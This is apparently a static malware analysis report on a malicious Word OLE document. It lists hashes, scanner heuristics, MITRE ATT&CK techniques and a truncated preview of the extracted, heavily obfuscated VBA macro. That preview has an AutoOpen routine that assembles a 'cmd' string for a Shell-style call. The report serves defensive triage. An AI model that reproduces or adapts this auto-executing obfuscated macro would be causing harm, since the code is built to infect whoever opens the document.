Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 45dc16c064aa639c…

MALICIOUS

Office (OLE)

203.6 KB Created: 2018-09-24 21:52:00 Authoring application: Microsoft Office Word First seen: 2018-10-07
MD5: 257526b1e07ea158e3a57df07c072d22 SHA-1: b9d1c481dc6f37c9815238f6d46b26b32c2b0f04 SHA-256: 45dc16c064aa639c6d0680e9f8e226ee8f27e3344da9dbf8925a45b38cba23ef
202 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1059 Command and Scripting Interpreter T1203 Exploitation for Client Execution

The sample contains a VBA macro with an AutoOpen subroutine, which is a common technique for executing malicious code upon opening the document. The critical heuristic firing for Shell() call in VBA indicates that the macro attempts to execute an external command. ClamAV also detected this file as malware. The macro code is heavily obfuscated, but the presence of the Shell() function strongly suggests it's designed to download and execute a secondary payload.

Heuristics 6

  • ClamAV: Doc.Malware.00536d-6696772-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Malware.00536d-6696772-0
  • VBA macros detected medium 2 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • Shell() call in VBA critical OLE_VBA_SHELL
    Shell() call in VBA
  • AutoOpen macro high OLE_VBA_AUTOOPEN
    AutoOpen macro
  • Legacy WordBasic auto-exec macro marker medium OLE_LEGACY_WORDBASIC_AUTOEXEC
    OLE Word document contains a legacy WordBasic auto-execution marker such as AutoOpen, but no modern VBA project was recovered and no stronger macro-virus family marker was present. This is analyst-facing evidence for old Word macro execution surface, not a downloader or parser-CVE attribution by itself.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.openxmlformats.org/drawingml/2006/main In document text (OLE body)

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 175081 bytes
SHA-256: 24d628def1a9c557a884be47c2d7f9f4f5ee01d04d0d2d63056d3e3756e2552b
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "blAhHXwjoRIjs"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Sub AutoOpen()
   Dim IjYzFD(1)
IjYzFD(0) = Mid(ZuAzqBpZvdi + NjAFnzdilMWLhzKHGWJNlqmvUihk + XuAXtRDVs, 768, 654) + MidB(fUpPoXHjuDS + ADJEEcWInwmNoSDhWNHbiPtMNddq + iQAMnjFn, 385, 853) + MidB(cbipfNhmnCtbi + PJiJwQdiRrtmaoummSiXwQJ + bWYhzYpipi, 692, 521) + Left(KXnUvMzJfhsBs + jtnUIGBtKtNkDjKLnzKvNiVSrrp + DsIpwGqlJida, 650)
   Dim FzWjOS(1)
FzWjOS(0) = Left(WzZmnoJBVvjj + qOFzoKVhVfGjNsIjOlGmUDzzcHiAvX + IaQdHQoc, 886) + Right(aRjMMSvL + rltqLsaqiLIDkNSkiqzPcWhwuSizMAIQpXm + OlPUwXhTit, 648)
   Dim wVHPm(1)
wVHPm(0) = Mid(LIKVdtDj + bPzukXnEFumtKbbZiziKtQozL + mlonhMdSMzTL, 649, 7) + Left(PztoObKnRt + iwYcAWYwFdPLcOmAKdrYA + UKbBWoHXo, 306) + MidB(KLcGaKWidCLhY + tcmXXKlCNizionXzDWiWRNdnlRztcsw + BsBhYIOYdciWpf, 229, 589) + Left(DLFVJuW + OoUqstrVHBoDTzolvRwOaptCpjiGLZXA + lpdzJEcN, 976)
   Dim wwAOz(1)
wwAOz(0) = Right(LzYDhpEAkDfzLJ + mHndGjzvFrkOcRTzMCtWSrCpcjOaIVANHL + fAcwpEqXTiLzz, 124) + Left(uJVlEqULqRc + EQHLYXtttINiWwXQnZSwqBj + QHXczwONEla, 663) + MidB(BAHjZUWnZpaF + SQKojNcmklEikTfBTRwiRJUJdhiBru + nblzaEOPWfrMlU, 902, 771) + Mid(JTUisiP + ECjMoiofDPUYoCMmSIXImmlJbFjGkWEKNmT + worYnhURlVFM, 130, 636)
   Dim tLbhz(1)
tLbhz(0) = Mid(fGQAvFWSzvfV + vIYmAwTSFGUaZpiQOGnvFIPOEEX + iTzDCvwsT, 245, 19) + MidB(UGzdRfROSrW + dkhOOhSCwbmfURNTrZoIQbmsVC + bwjSMLFwSrd, 463, 531) + MidB(lKAAzJzPuobQn + zzkDApvCECOjFvQhukUBMSdhpikuRX + dnYWBpIvwkZsPw, 460, 888) + MidB(aHdzXlW + XUHwMbGRJYiLZYDlRqGqZPzWQjPm + jkbqnMQIjvkzUO, 640, 87)
   Dim IpaCV(1)
IpaCV(0) = Left(TIjCksVaTOb + uVGFQrqjdupNrFwsAOXQDikYQvmzf + XmiVmdWqpN, 127) + Left(AQdaOPqFWF + jTaorwziqUSXOhMYiRNXzSLjPQRAhfv + wBwRIijj, 951) + Right(AidhoCG + waWfNhSZTicHWQWjnhqCCIjhmjMiY + OWfSEaLHMLjas, 225) + Right(ERTUlFYT + AfpHHKpUItrjMbZdqrVZZHMESBJwL + ajRFEVlXDTT, 754)
   Dim skqQRd(1)
skqQRd(0) = Mid(PFqlMWYocpwM + VJJLFcuipLluPDSSwzKSviOY + rHhFMOjGGYGm, 632, 313) + Mid(sbJlJWwDjiLqOc + PvzEEOiWMMaCuovqmPudU + WdDqrdhCXkS, 496, 917)
   Dim jPwwU(2)
jPwwU(0) = MidB(fYwLwCbwsvzhSj + UwwAcQZArpYAtaSiNSIBVFWlzj + bGCbwVc, 382, 295) + Right(cFMCwzVfOrAQtL + vFibRzoNSzRwqHTNXjDalcEULa + PBrhNkYi, 571)
jPwwU(1) = Mid(jwisiYjhCWfBVs + wMicndpBaFJtisCiJTbDjctmmjzWpirZRzo + JjRdPqw, 247, 567) + MidB(MYEpOqhAtq + biTLrQbCqNRXRshluGdKQiCLa + SPGOquviHwCaf, 286, 222)
BvdFkbn (KeyString(vbKeyC) + KeyString(vbKeyM) + QiOPYSH + sfUzLNkNtU + QCqjSiWo + BzBiuCkM + OwKYAQRQ + mEoVScvZsF)
   Dim VitAvf(2)
VitAvf(0) = MidB(zNtHfjKkd + mnXrcNCSiVknKiacVmpoUZK + lSKwmtLswrQms, 257, 711) + Right(cGzwGhFckZz + RSjMjYTzuzpcldYEEqwEjs + FTCTNtuZzGfj, 245)
VitAvf(1) = Left(iLwHdwp + BtvNUOwUnNFvbiMRHzrrnlSsllC + EvSUwhEiJ, 221) + Right(CwjjMLvkYI + BHbCWLiwwBzJRzAHmMSlmjIZZHErwm + qGCMwchZE, 958) + MidB(vOucpKWzjWo + mJrvGFMAwuFWzJhpzidLMbClPLj + jzLTpizsX, 499, 940) + Left(XSKNSqozUfIziU + wpPmdWXnpOjwbIjENaCtsfSOUDWKJ + bkhUWBvXXd, 531)
End Sub


Attribute VB_Name = "sWctRQU"
Function QiOPYSH()
Dim cUnoQl(1)
cUnoQl(0) = MidB(YZiivNQKQTTh + UVGKrTZUUBwRpJNqTFYQbYOPhmQCYGoz + AIiJEEhmiXGuC, 556, 992) + Left(famildEriEzY + LkVpKWOpCpuqjnCvVIWsNOfdR + iNTVvJhnoFWTlj, 789) + Right(vEzQwcptpsHb + wqpUbaVNdBANqolIYXtiNllicFRZMJMZd + NQQiazQim, 802) + Mid(jjElLjT + qwtHMcoDdZLpLGcznYTDXBhqHYBqJphWU + NVbiIQtOrYz, 175, 222)
   Dim qCHBja(1)
qCHBja(0) = MidB(TwsjzCXNiBZ + buWjUOlXjzJaavdQYCvRzGbOmWdZoR + HlULMhIkB, 675, 180) + MidB(ikScXZcc + YszzAFXVIijhrNpOIOEwzDmLzQrPm + wSMiHidNAqaBsW, 294, 645)
   Dim nfsHVF(2)
nfsHVF(0) = Mid(jfciBAKplEYZ + YpYinpSKPpuOBdMCVhzjhrOjjLEmWrvH + qSqTWQmonwIL, 479, 38) + MidB(TwZIrnYJiwKDY + vaiMCrPiusEQYCjiXziurDujk + jQPsNku, 801, 16) + MidB(YqNwiIk + ITtzGNjmIKiAcoXLnsMifTbr + UlvZNzPXQmzEH, 632, 848) + Mid(YNCWukZYSv + jfVzuoWOFfwFYlLiqquDiiWaAVB + iJjGiEN, 860, 409)
nfsHVF(1) = Right(liGQVzOpiP + lcrVXNWtDsRwoijiWQaRwXGFBHM + jlwiniqfzjQsF, 7
... (truncated)

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